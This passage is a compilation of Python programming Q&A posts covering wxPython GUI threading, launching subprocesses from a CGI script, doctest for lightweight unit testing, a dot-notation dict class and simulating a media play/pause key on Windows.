view_indexed(clMap)
self.status.SetLabel('Gaussian Ready')
def OnSaveClick(self,event):
self.status.SetValue('Save File')
wild="HSi Files|*.lan*|All Files|*.*"
dlg=wx.FileDialog(self,message="Save AS",wildcard=wild,style=wx.FD_SAVE|wx.FD_OVERWRITE_PROMPT)
if dlg.ShowModal() == wx.ID_OK:
path=dlg.GetPath()
self.Save(path)
self.file=path
dlg.Destroy()
def OnClose(self, event):
dlg = wx.MessageDialog(self,
"Do you really want to close BBvw ?",
"Confirm Exit", wx.OK|wx.CANCEL|wx.ICON_QUESTION)
result = dlg.ShowModal()
dlg.Destroy()
if result == wx.ID_OK:
self.Destroy()
app = wx.App(redirect=False)
top = Frame("BBvw")
top.Show()
app.MainLoop()
Answer: Long running processes should always go into separate threads. Otherwise they
will block the GUI's mainloop. If displaying the image is taking up lots of
memory, then I'm guessing you're displaying high res photos at full
resolution. Try creating a set of lower resolution photos for displaying
instead (like thumbnails or something). Unless you need the full resolution
displayed, don't do it.
|
avoid user abort python subprocesses
Question: I want the process i initiate through the script to run on webserver even if
user closes the page. It doesn't seem to be working with this:
#!/usr/bin/env python
# -*- coding: UTF-8 -*-
import cgi,cgitb,subprocess
print "Content-Type: text/plain;charset=utf-8"
print
form = cgi.FieldStorage()
ticker = form['ticker'].value
print subprocess.Popen(['/usr/bin/env/python','options.py',ticker])
Please help! Thanks!
Answer: I guess this is wrong:
'/usr/bin/env/python'
it should be usually:
'/usr/bin/env python'
but better use this:
>>> import sys
>>> sys.executable # contains the executable running this python process
'C:\\Python27\\pythonw.exe'
I use to do it like this:
p = subprocess.Popen([sys.executable,'options.py',ticker])
|
lightweight unit testing in python
Question: I'm considering using Python to teach introductory programming, and I'm
looking for a lightweight unit testing framework. I've taken a look at
unittest, and--as far as I can tell--it looks insanely _non_ -lightweight.
For example, here's what I'd like to be able to write:
import unittest
def f(x):
return x+2
checkEqual(f(3),5)
... and _nothing else_. To show you where I'm coming from, this is what I'd
write in Racket's beginning student language:
(define (f x)
(+ x 2))
(check-expect (f 3) 5)
... and that's it. Surely someone's written this tool, and I'm just not
finding it?
(Apologies in advance for any appearance of flame-baiting. This is a serious
question.)
SELF-EDIT:
Before anyone points this out: yes, I could write def checkEqual(a,b):
print(a==b) ; I'm looking for something with a bit more: it should be able to
check numbers with tolerances, it should have support for printing only failed
test cases, it should be able to tell you how many test cases failed. Again,
I'm confident that this code can be written; I'm just trying to avoid re-
inventing the wheel.
Answer: I would recommend [Doctest](http://docs.python.org/library/doctest.html).
Your example would look like:
def f(x):
"""
>>> f(3)
5
"""
return x + 2
Why?:
1. It's super simple: "when I run this thing I should get this answer back"
2. It works on the function level - which might allow you to introduce testing even before classes
3. Mirrors the interactive Python experience.
|
Python dict using dot notation and chaining
Question: Ideally what I am aiming to accomplish is a class that extends (or is very
similar to) a `dict` in Python with the additional capabilities:
* Dot-Notation capable for setting and getting values
* Key-Value capabilities like `dict` (i.e. setitem,getitem)
* Can chain dot-notated operations
The goal is if I have something like `example = DotDict()` I could do the
following against it `example.configuration.first= 'first'` and it would
instantiate the appropriate DotDict instances under `example` with the really
painful caveat being that if the operation is not assignment it should simply
raise a `KeyError` like a `dict` would do
Here is what I have naively assembled
class DotDict(dict):
def __getattr__(self, key):
""" Make attempts to lookup by nonexistent attributes also attempt key lookups. """
import traceback
import re
s= ''.join(traceback.format_stack(sys._getframe(1),1))
if re.match(r' File.*\n.*[a-zA-Z]+\w*\.[a-zA-Z]+[a-zA-Z0-9_. ]*\s*=\s*[a-zA-Z0-9_.\'"]+',s):
self[key] = DotDict()
return self[key]
return self[key]
def __setattr__(self, key, value):
if isinstance(value,dict):
self[key] = DotDict(value)
self[key] = value
It works except for some common edge cases, I must say that I absolutely hate
this method and there must be a better way. Looking at the stack and running a
regular expression on the last line is not a good way to accomplish this.
The heart of the matter is that Python interprets lines of code left to right
so when it arrives at a statement like `a.b.c = 3` it's first operation is a
`getattr(a,b)` and not a `setattr` so I can't determine easily if the last
operation in the stack of operations is an assignment.
What I would like to know is if there is a good way to determine the last
operation in the stack of operations or at least if it's a `setattr`.
Edit:
This is the solution that I came up with thanks to user1320237's
recommendation.
class DotDict(dict):
def __getattr__(self, key):
""" Make attempts to lookup by nonexistent attributes also attempt key lookups. """
if self.has_key(key):
return self[key]
import sys
import dis
frame = sys._getframe(1)
if '\x00%c' % dis.opmap['STORE_ATTR'] in frame.f_code.co_code:
self[key] = DotDict()
return self[key]
raise AttributeError('Problem here')
def __setattr__(self, key, value):
if isinstance(value,dict):
self[key] = DotDict(value)
self[key] = value
There's a little bit more in the actual implementation but it does an awesome
job. The way it works is that it inspects the last frame in the stack and
checks the byte code for a STORE_ATTR operation which means that the operation
being performed is of the `a.b.this.doesnt.exist.yet = 'something'`
persuasion. I would be curious if this could be done on other interpreters
outside of CPython.
Answer: You may need to overwrite **getattribute** for those edge cases and then use
the
object.__getattribute__
Have a look at the module [dis](http://docs.python.org/library/dis.html). But
what you wrote is nicer than disassembling.
>>> import dis
>>> def g():
a.b.c = 4
>>> dis.dis(g)
2 0 LOAD_CONST 1 (4)
3 LOAD_GLOBAL 0 (a)
6 LOAD_ATTR 1 (b)
9 STORE_ATTR 2 (c)
12 LOAD_CONST 0 (None)
15 RETURN_VALUE
|
Media Play/Pause Simulation
Question: My keyboard contains a row of buttons for various non-standard keyboard tasks.
These keys contain such functions as modifying the volume, playing or pausing,
and skipping tracks. How can I simulate a basic play/pause with Python? I am
on Windows, by the way.
Answer: I would use
[pywin32](http://starship.python.net/crew/mhammond/win32/Downloads.html).
Bundled with the installation is a large number of API-docs (usually placed at
something like `C:\Python32\Lib\site-packages`.) It essentially wraps a lot of
stuff in the Win32-library which is used for many low-levels tasks in Windows.
After installing it you could use the wrapper for
[keybd_event](http://msdn.microsoft.com/en-
us/library/windows/desktop/ms646304.aspx).
_You could also use`SendInput` instead of `keybd_event` but it doesn't seem to
be wrapped by PyWin32. `SendMessage` is also an option but more cumbersome._
You'll need to look up the virtual scan code for those special buttons, since
I doubt the char-to-code mapping functions will help you here. You can find
the reference [here](http://msdn.microsoft.com/en-
us/library/windows/desktop/dd375731.aspx).
Then it is a simple matter of calling the function. The snippet below pauses
Chuck Berry on my computer.
>>> import win32api
>>> VK_MEDIA_PLAY_PAUSE = 0xB3
>>> hwcode = win32api.MapVirtualKey(VK_MEDIA_PLAY_PAUSE, 0)
>>> hwcode
34
>>> win32api.keybd_event(VK_MEDIA_PLAY_PAUSE, hwcode)
`MapVirtualKey` gives us the hardware scan code which `keybd_event` needs (or
more likely, the keyboard driver.)
Note that all this is snapped up by the keyboard driver, so you don't really
have any control where the keystrokes are sent. With `SendMessage` you can
send them to a specific window. It usually doesn't matter with media keys
since those are intercepted by music players and such.
|
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